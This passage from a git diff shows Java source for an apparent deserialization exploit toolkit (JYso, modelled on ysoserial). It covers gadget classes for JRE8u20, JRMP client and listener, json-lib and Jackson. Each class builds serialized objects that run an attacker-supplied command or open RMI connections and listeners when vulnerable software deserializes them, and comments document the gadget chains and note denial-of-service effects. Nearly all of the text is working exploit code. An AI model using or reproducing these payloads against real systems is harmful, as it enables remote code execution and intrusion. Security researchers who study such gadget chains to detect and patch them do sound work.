TCObject obj = new TCObject(ser); + TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport"); + TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport"); + beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class)); + TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData(); + beanContextSupportData.addData(1); + beanContextSupportData.addData(handler); + beanContextSupportData.addData(0, true); + beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class)); + TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData(); + beanContextChildSupportData.addData(obj); + obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true); + obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData); + return obj; + } + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20))); + } + + public Object getObject(String command) throws Exception { + Serialization ser = new Serialization(); + Object templates = makeTemplates(command); + HashMap map = new HashMap<>(); + map.put("f5a5a608", templates); + TCObject handler = makeHandler(map, ser); + TCObject linkedHashset = new TCObject(ser); + TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet"); + TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData(); + TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet"); + hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class)); + TCObject.ObjectData hashsetData = new TCObject.ObjectData(); + hashsetData.addData(makeBeanContextSupport(handler, ser)); + hashsetData.addData(10, true); + hashsetData.addData(1.0F, true); + hashsetData.addData(2, true); + hashsetData.addData(templates); + TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser); + hashsetData.addData(proxy); + linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData); + linkedHashset.addClassDescData(hashsetDesc, hashsetData, true); + ser.addObject(linkedHashset); + + if (JYsoMode) { + ser.write(System.out); + System.exit(0); + } + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ser.write(out); + return out.toByteArray(); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java index 30d4b3e..5857c67 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java @@ -1,73 +1,73 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.utils.ByteUtil; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.Serializer; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; - -import javax.xml.transform.Templates; -import java.beans.beancontext.BeanContextSupport; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.util.HashMap; -import java.util.LinkedHashSet; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -public class JRE8u20_2 implements ObjectPayload { - public static Class newInvocationHandlerClass() throws Exception { - ClassPool pool = ClassPool.getDefault(); - CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); - CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + - " os.defaultWriteObject();\n" + - " }", clazz); - clazz.addMethod(writeObject); - return clazz.toClass(); - } - - - @Override - public Object getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - - Class ihClass = newInvocationHandlerClass(); - Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class); - constructor.setAccessible(true); - InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>()); - - Reflections.setFieldValue(ih, "type", Templates.class); - Templates proxy = createProxy(ih, Templates.class); - - BeanContextSupport b = new BeanContextSupport(); - Reflections.setFieldValue(b, "serializable", 1); - HashMap tmpMap = new HashMap<>(); - tmpMap.put(ih, null); - Reflections.setFieldValue(b, "children", tmpMap); - - - LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy - set.add(b); - set.add(templates); - set.add(proxy); - - HashMap hm = new HashMap(); - hm.put("f5a5a608", templates); - Reflections.setFieldValue(ih, "memberValues", hm); - - byte[] ser = Serializer.serialize(set); - - byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71}; - - int i = ByteUtil.getSubarrayIndex(ser, shoudReplace); - ser = ByteUtil.deleteAt(ser, i); // delete 0x78 - ser = ByteUtil.deleteAt(ser, i); // delete 0x70 - - return ser; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.ByteUtil; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.Serializer; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.xml.transform.Templates; +import java.beans.beancontext.BeanContextSupport; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.LinkedHashSet; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +public class JRE8u20_2 implements ObjectPayload { + public static Class newInvocationHandlerClass() throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); + CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + + " os.defaultWriteObject();\n" + + " }", clazz); + clazz.addMethod(writeObject); + return clazz.toClass(); + } + + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + Class ihClass = newInvocationHandlerClass(); + Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class); + constructor.setAccessible(true); + InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>()); + + Reflections.setFieldValue(ih, "type", Templates.class); + Templates proxy = createProxy(ih, Templates.class); + + BeanContextSupport b = new BeanContextSupport(); + Reflections.setFieldValue(b, "serializable", 1); + HashMap tmpMap = new HashMap<>(); + tmpMap.put(ih, null); + Reflections.setFieldValue(b, "children", tmpMap); + + + LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy + set.add(b); + set.add(templates); + set.add(proxy); + + HashMap hm = new HashMap(); + hm.put("f5a5a608", templates); + Reflections.setFieldValue(ih, "memberValues", hm); + + byte[] ser = Serializer.serialize(set); + + byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71}; + + int i = ByteUtil.getSubarrayIndex(ser, shoudReplace); + ser = ByteUtil.deleteAt(ser, i); // delete 0x78 + ser = ByteUtil.deleteAt(ser, i); // delete 0x70 + + return ser; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java index 10837c8..285c53f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java @@ -1,66 +1,66 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import sun.rmi.server.UnicastRef; -import sun.rmi.transport.LiveRef; -import sun.rmi.transport.tcp.TCPEndpoint; - -import java.lang.reflect.Proxy; -import java.rmi.registry.Registry; -import java.rmi.server.ObjID; -import java.rmi.server.RemoteObjectInvocationHandler; -import java.util.Random; - -/** - * UnicastRef.newCall(RemoteObject, Operation[], int, long) - * DGCImpl_Stub.dirty(ObjID[], long, Lease) - * DGCClient$EndpointEntry.makeDirtyCall(Set, long) - * DGCClient$EndpointEntry.registerRefs(List) - * DGCClient.registerRefs(Endpoint, List) - * LiveRef.read(ObjectInput, boolean) - * UnicastRef.readExternal(ObjectInput) - *

- * Thread.start() - * DGCClient$EndpointEntry.(Endpoint) - * DGCClient$EndpointEntry.lookup(Endpoint) - * DGCClient.registerRefs(Endpoint, List) - * LiveRef.read(ObjectInput, boolean) - * UnicastRef.readExternal(ObjectInput) - *

- * Requires: - * - JavaSE - *

- * Argument: - * - host:port to connect to, host only chooses random port (DOS if repeated many times) - *

- * Yields: - * * an established JRMP connection to the endpoint (if reachable) - * * a connected RMI Registry proxy - * * one system thread per endpoint (DOS) - * - * @author mbechler - */ -@SuppressWarnings({"unused"}) -@Authors({Authors.MBECHLER}) -public class JRMPClient implements ObjectPayload { - - public Object getObject(String command) throws Exception { - String host; - int port; - int sep = command.indexOf(':'); - if (sep < 0) { - port = new Random().nextInt(65535); - host = command; - } else { - host = command.substring(0, sep); - port = Integer.parseInt(command.substring(sep + 1)); - } - ObjID id = new ObjID(new Random().nextInt()); // RMI registry - TCPEndpoint te = new TCPEndpoint(host, port); - UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); - RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); - return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ - Registry.class - }, obj); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +/** + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + *

+ * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + *

+ * Requires: + * - JavaSE + *

+ * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + *

+ * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings({"unused"}) +@Authors({Authors.MBECHLER}) +public class JRMPClient implements ObjectPayload { + + public Object getObject(String command) throws Exception { + String host; + int port; + int sep = command.indexOf(':'); + if (sep < 0) { + port = new Random().nextInt(65535); + host = command; + } else { + host = command.substring(0, sep); + port = Integer.parseInt(command.substring(sep + 1)); + } + ObjID id = new ObjID(new Random().nextInt()); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ + Registry.class + }, obj); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java index f7f04af..7d0c6d0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java @@ -1,38 +1,38 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import sun.rmi.server.UnicastRef; -import sun.rmi.transport.LiveRef; -import sun.rmi.transport.tcp.TCPEndpoint; - -import java.lang.reflect.Proxy; -import java.rmi.activation.Activator; -import java.rmi.server.ObjID; -import java.rmi.server.RemoteObjectInvocationHandler; -import java.util.Random; - -@SuppressWarnings({"unused"}) -@Authors({"mbechler"}) -public class JRMPClient_Activator implements ObjectPayload { - @Override - public Activator getObject(String command) throws Exception { - UnicastRef ref = JRMPSource(command); - RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); - return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); - } - - static UnicastRef JRMPSource(String command) { - String host; - int port, sep = command.indexOf(':'); - if (sep < 0) { - port = (new Random()).nextInt(65535); - host = command; - } else { - host = command.substring(0, sep); - port = Integer.parseInt(command.substring(sep + 1)); - } - ObjID id = new ObjID((new Random()).nextInt()); - TCPEndpoint te = new TCPEndpoint(host, port); - return new UnicastRef(new LiveRef(id, te, false)); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.lang.reflect.Proxy; +import java.rmi.activation.Activator; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +@SuppressWarnings({"unused"}) +@Authors({"mbechler"}) +public class JRMPClient_Activator implements ObjectPayload { + @Override + public Activator getObject(String command) throws Exception { + UnicastRef ref = JRMPSource(command); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); + } + + static UnicastRef JRMPSource(String command) { + String host; + int port, sep = command.indexOf(':'); + if (sep < 0) { + port = (new Random()).nextInt(65535); + host = command; + } else { + host = command.substring(0, sep); + port = Integer.parseInt(command.substring(sep + 1)); + } + ObjID id = new ObjID((new Random()).nextInt()); + TCPEndpoint te = new TCPEndpoint(host, port); + return new UnicastRef(new LiveRef(id, te, false)); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java index e0389b3..5e72729 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java @@ -1,16 +1,16 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import sun.rmi.server.UnicastRef; - -import java.rmi.server.RemoteObjectInvocationHandler; - -@SuppressWarnings({"unused"}) -@Authors({"mbechler"}) -public class JRMPClient_Obj implements ObjectPayload { - @Override - public RemoteObjectInvocationHandler getObject(String command) throws Exception { - UnicastRef ref = JRMPClient_Activator.JRMPSource(command); - return new RemoteObjectInvocationHandler(ref); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; + +import java.rmi.server.RemoteObjectInvocationHandler; + +@SuppressWarnings({"unused"}) +@Authors({"mbechler"}) +public class JRMPClient_Obj implements ObjectPayload { + @Override + public RemoteObjectInvocationHandler getObject(String command) throws Exception { + UnicastRef ref = JRMPClient_Activator.JRMPSource(command); + return new RemoteObjectInvocationHandler(ref); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPListener.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPListener.java index f2a01d1..c25c3f4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPListener.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPListener.java @@ -1,47 +1,47 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.utils.Reflections; -import sun.rmi.server.ActivationGroupImpl; -import sun.rmi.server.UnicastServerRef; - -import java.rmi.server.RemoteObject; -import java.rmi.server.RemoteRef; -import java.rmi.server.UnicastRemoteObject; - -/** - * Gadget chain: - * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 - * UnicastRemoteObject.reexport() line: 266 - * UnicastRemoteObject.exportObject(Remote, int) line: 320 - * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 - * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 - * LiveRef.exportObject(Target) line: 147 - * TCPEndpoint.exportObject(Target) line: 411 - * TCPTransport.exportObject(Target) line: 249 - * TCPTransport.listen() line: 319 - *

- * Requires: - * - JavaSE - *

- * Argument: - * - Port number to open listener to - */ -@SuppressWarnings({ - "restriction" -}) -@Authors({Authors.MBECHLER}) -public class JRMPListener implements ObjectPayload { - @Override - public UnicastRemoteObject getObject(String command) throws Exception { - int jrmpPort = Integer.parseInt(command); - UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{ - RemoteRef.class - }, new Object[]{ - new UnicastServerRef(jrmpPort) - }); - - Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); - return uro; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.utils.Reflections; +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + *

+ * Requires: + * - JavaSE + *

+ * Argument: + * - Port number to open listener to + */ +@SuppressWarnings({ + "restriction" +}) +@Authors({Authors.MBECHLER}) +public class JRMPListener implements ObjectPayload { + @Override + public UnicastRemoteObject getObject(String command) throws Exception { + int jrmpPort = Integer.parseInt(command); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{ + RemoteRef.class + }, new Object[]{ + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JSON1.java b/src/main/java/com/qi4l/JYso/gadgets/JSON1.java index 6b13449..95a9be7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JSON1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JSON1.java @@ -1,90 +1,90 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import net.sf.json.JSONObject; -import org.springframework.aop.framework.AdvisedSupport; - -import javax.management.openmbean.*; -import javax.xml.transform.Templates; -import java.lang.reflect.InvocationHandler; -import java.util.HashMap; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.utils.Utils.*; - - -/** - * A bit more convoluted example - *

- * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() - * java.lang.reflect.Method.invoke(Object, Object...) - * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) - * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) - * $Proxy0.getOutputProperties() - * java.lang.reflect.Method.invoke(Object, Object...) - * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) - * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) - * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) - * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) - * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) - * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) - * net.sf.json.JSONObject._fromBean(Object, JsonConfig) - * net.sf.json.JSONObject.fromObject(Object, JsonConfig) - * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) - * net.sf.json.JSONObject._processValue(Object, JsonConfig) - * net.sf.json.JSONObject.processValue(Object, JsonConfig) - * net.sf.json.JSONObject.containsValue(Object, JsonConfig) - * net.sf.json.JSONObject.containsValue(Object) - * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) - * javax.management.openmbean.TabularDataSupport.equals(Object) - * java.util.HashMap.putVal(int, K, V, boolean, boolean) - * java.util.HashMap.readObject(ObjectInputStream) - * - * @author mbechler - */ -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", - // deep deps - "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", - "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", - "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"}) -@Authors({Authors.MBECHLER}) -public class JSON1 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - final Object tql; - tql = Gadgets.createTemplatesImpl(command); - Class ifaces = Templates.class; - CompositeType rt = new CompositeType("a", "b", - new String[]{"a"}, - new String[]{"a"}, - new OpenType[]{javax.management.openmbean.SimpleType.INTEGER} - ); - TabularType tt = new TabularType("a", "b", rt, new String[]{"a"}); - TabularDataSupport t1 = new TabularDataSupport(tt); - TabularDataSupport t2 = new TabularDataSupport(tt); - - // we need to make payload implement composite data - // it's very likely that there are other proxy impls that could be used - AdvisedSupport as = new AdvisedSupport(); - as.setTarget(tql); - InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); - InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt)); - InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); - ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); - Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); - final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces); - - JSONObject jo = new JSONObject(); - Map m = new HashMap(); - m.put("t", cdsProxy); - Reflections.setFieldValue(jo, "properties", m); - Reflections.setFieldValue(jo, "properties", m); - Reflections.setFieldValue(t1, "dataMap", jo); - Reflections.setFieldValue(t2, "dataMap", jo); - return makeMap(t1, t2); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import net.sf.json.JSONObject; +import org.springframework.aop.framework.AdvisedSupport; + +import javax.management.openmbean.*; +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.utils.Utils.*; + + +/** + * A bit more convoluted example + *

+ * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) + * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) + * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) + * net.sf.json.JSONObject._fromBean(Object, JsonConfig) + * net.sf.json.JSONObject.fromObject(Object, JsonConfig) + * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) + * net.sf.json.JSONObject._processValue(Object, JsonConfig) + * net.sf.json.JSONObject.processValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object) + * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) + * javax.management.openmbean.TabularDataSupport.equals(Object) + * java.util.HashMap.putVal(int, K, V, boolean, boolean) + * java.util.HashMap.readObject(ObjectInputStream) + * + * @author mbechler + */ +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", + // deep deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", + "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", + "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"}) +@Authors({Authors.MBECHLER}) +public class JSON1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object tql; + tql = Gadgets.createTemplatesImpl(command); + Class ifaces = Templates.class; + CompositeType rt = new CompositeType("a", "b", + new String[]{"a"}, + new String[]{"a"}, + new OpenType[]{javax.management.openmbean.SimpleType.INTEGER} + ); + TabularType tt = new TabularType("a", "b", rt, new String[]{"a"}); + TabularDataSupport t1 = new TabularDataSupport(tt); + TabularDataSupport t2 = new TabularDataSupport(tt); + + // we need to make payload implement composite data + // it's very likely that there are other proxy impls that could be used + AdvisedSupport as = new AdvisedSupport(); + as.setTarget(tql); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt)); + InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); + ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); + Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); + final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces); + + JSONObject jo = new JSONObject(); + Map m = new HashMap(); + m.put("t", cdsProxy); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(t1, "dataMap", jo); + Reflections.setFieldValue(t2, "dataMap", jo); + return makeMap(t1, t2); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java index 2d13226..339c0d8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java @@ -1,46 +1,46 @@ -package com.qi4l.JYso.gadgets; - -import com.fasterxml.jackson.databind.node.POJONode; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; - -import javax.management.BadAttributeValueExpException; -import java.util.HashMap; - -import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -// 在触发 getter 的时候是以随机顺序触发的,所以概率打空 -public class Jackson1 implements ObjectPayload { - - @Override - public Object getObject(String command) throws Exception { - final Object tempImpl; - tempImpl = Gadgets.createTemplatesImpl(command); - - try { - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); - CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); - ctClass.removeMethod(writeReplace); - ctClass.toClass(); - } catch (Exception ignored) { - - } - - POJONode node = new POJONode(tempImpl); - - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - setFieldValue(val, "val", node); - //清除堆栈信息 - setFieldValue(val, "stackTrace", new StackTraceElement[0]); - setFieldValue(val, "cause", null); - setFieldValue(val, "suppressedExceptions", null); - - HashMap hashMap = new HashMap(); - hashMap.put(tempImpl, val); - - return hashMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; + +import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +// 在触发 getter 的时候是以随机顺序触发的,所以概率打空 +public class Jackson1 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object tempImpl; + tempImpl = Gadgets.createTemplatesImpl(command); + + try { + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + } catch (Exception ignored) { + + } + + POJONode node = new POJONode(tempImpl); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + setFieldValue(val, "val", node); + //清除堆栈信息 + setFieldValue(val, "stackTrace", new StackTraceElement[0]); + setFieldValue(val, "cause", 